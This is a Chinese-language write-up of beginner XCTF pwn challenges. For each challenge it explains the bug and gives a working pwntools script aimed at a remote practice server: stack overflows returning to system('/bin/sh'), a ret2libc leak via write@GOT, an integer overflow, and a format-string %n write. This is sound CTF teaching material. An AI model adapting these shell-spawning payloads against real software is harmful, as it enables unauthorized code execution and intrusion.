攻防世界 pwn 新手

前言

攻防世界 pwn 入门

hello pwn

64位程序 read函数读取0x10到地址601068然后与地址60106c进行比较

因为这两个地址相差4,但是可以读取10

poc:

from pwn import *
r = remote('111.200.241.244',50691)
payload = 'a'*4 + p64(1853186401)
r.recv()
r.sendline(payload)
r.interactive()

level0

在这里插入图片描述

但是只发现了在函数列表中存在一个callsystem函数

那么可以先填充80个字节,然后,将rip填充为callsystem()的地址

call, 执行函数调用. 当 CPU 执行 call 指令时, 首先会把 rip 寄存器的值入栈, 然后设置 rip 值为目标地址, 由于 rip 寄存 器的值决定了下一条CPU需要执行指令的位置, 所以当 CPU 执行完成当前 call 指令后就会跳转到目标地址.

因此可以借助vulnerable_function()的read函数,将缓冲区填充满,再将ebp+0x8即eip所在的地址覆盖为callsystem函数地址,即可得到shell。

poc:

from pwn import *
r = remote('111.200.241.244',60861)
#r = process('./level0')
payload = 'a'*0x80+'a'*0x8 + p64(0x00400596)
r.sendline(payload)
r.interactive()

Level2

32位程序


Read存在溢出,buf这个字符数组的长度只有0x88,却可以输入0x100的东西,能覆盖掉数组外面的东西。当属于数组的空间结束后,有一个4个字节长度的s,其次是一个存放着返回地址的r。我们可以输入数据,覆盖返回地址r。

没有什么危险,也没有像level0一样,有后门函数


在 .plt段 发现_system函数且在 数据段 发现/bin/bash地址


根据32位程序栈结构:


poc:

from pwn import *

r = remote('111.200.241.244',60254)
#r = process('./level2')
bash_add = 0x0804a024
sys_add = 0x08048320
payload = 'a'*0x88+'a'*0x4 + p32(sys_add)+p32(0)+p32(bash_add)
r.sendline(payload)
r.interactive()

p32(0)是为了填充函数返回地址,随便返回到哪都行

guess_num


Gets栈溢出覆盖seed的值 使其为伪随机数

poc:

from pwn import *

r = remote("111.200.241.244",63805)

payload = b'a' * (0x30-0x10) + p64(0).decode('unicode_escape')
r.sendlineafter("Your name:",payload)
l = ['2','5','4','2','6','2','5','1','4','2']

for i in range(10):
r.sendlineafter("Please input your guess number:",l[i])
r.interactive()

int_overflow

整数溢出


无符号整数类型的v3 存入到al 8位寄存器

可利用函数且有地址

那么整数的范围就是0-255(00000000–11111111)

如果超过这个范围那么就会进行模运算比如 输入257 那么结果就是 257%255=2

可以看到有一个前提条件就是我们输入的长度必须是,(4,8]才能进入到else 那么输入的长度就应该是(259,263]

通过strcpy来让dest溢出,覆盖返回地址到what_is_this()

那么payload = 'a'*(0x14+4)+p32(flag).decode('iso-8859-1')+'a'*232

poc:

from pwn import *

r = remote("111.200.241.244",51588)

flag = 0x0804868B
payload = 'a'*(0x14+4)+p32(flag).decode('iso-8859-1')+'a'*232

r.sendlineafter("Your choice:",'1')

r.sendlineafter("input your username:","test")

r.sendlineafter("input your passwd:",payload)
r.interactive()

cgpwn2

Fgets传入/bin/sh
Gets栈溢出跳到system

poc:

from pwn import *
r = remote("111.200.241.244",51213)
shell = "/bin/sh"
name = 0x0804A080
payload = 'a'*(0x26+4)+p32(0x08048420).decode('unicode_escape')+'a'*4+p32(name).decode('unicode_escape')
r.sendlineafter("please tell me your name",shell)
r.sendlineafter("hello,you can leave some message here:",payload)
r.interactive()

构造payload的时候注意这是32位程序,而32位程序调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

level3

参考:
攻防世界PWN题 level3 - 愚人呀 - 博客园 (cnblogs.com)

[原创]XCTF攻防世界 level3-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Buf定义0x88但是可以输入0x100

但是没有像上面题目存在system函数和/bin/sh的字符串,但是write函数是载入了外部的运行库

那就通过write函数打印出泄露的write函数在got中的地址 然后通过.so文件找出write在libc_32.so.6中的地址 接着就可以计算出libc基地址了。

poc:

from pwn import *

#r = process('./level3')
r = remote('111.200.241.244',56507)
elf = ELF("./level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.symbols["main"]

libc = ELF("./libc_32.so.6")
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
binsh_libc = libc.search(b'/bin/sh').__next__()

payload1 = b'a'*0x88+b'a'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendlineafter('Input:\n',payload1)
write_addr = u32(r.recv()[:4])

sysaddr = write_addr - write_libc + sys_libc
binshaddr = write_addr - write_libc + binsh_libc

payload2 = b'a'*0x88+b'a'*0x4+p32(sysaddr)+p32(0)+p32(binshaddr)
r.sendlineafter('Input:\n',payload2)
r.interactive()

payload1中:

b'a'*0x88+b'a'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)


填充+ebp+返回到write函数+二次攻击从main开始+参数1+参数write_got+参数4字节

那么为啥要传个write_got呢?

我理解是现在的write_got存放的是这个程序运行时write函数的地址,如下图


那么正好就打印了write函数地址造成泄露,又因为库函数中字符串常量和函数之间的相对位置也是确定的,所以可以找到当前system函数的真实地址并利用

CGfsb

参考:XCTF Pwn CGfsb | NiceSeven’s Website

格式化字符串漏洞的简单利用

printf函数的格式化字符串常见的有 %d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等

但是有个不常见的格式化字符串 %n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

变量pwnme的位置在bss段,地址为0x0804a068

bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss段属于静态内存分配,地址不变

确定偏移:

为10

把pwnme的地址输进去,偏移10 将8利用 %n带入到pwnme的地址,所以变量pwnme就是8了

poc:

from pwn import *

r = remote('111.200.241.244',50887)

pwnme = 0x0804a068

payload = p32(pwnme)+b'a'*4+b'%10$n'
r.sendlineafter('please tell me your name:','aaa')
r.sendlineafter('leave your message please:',payload)
r.interactive()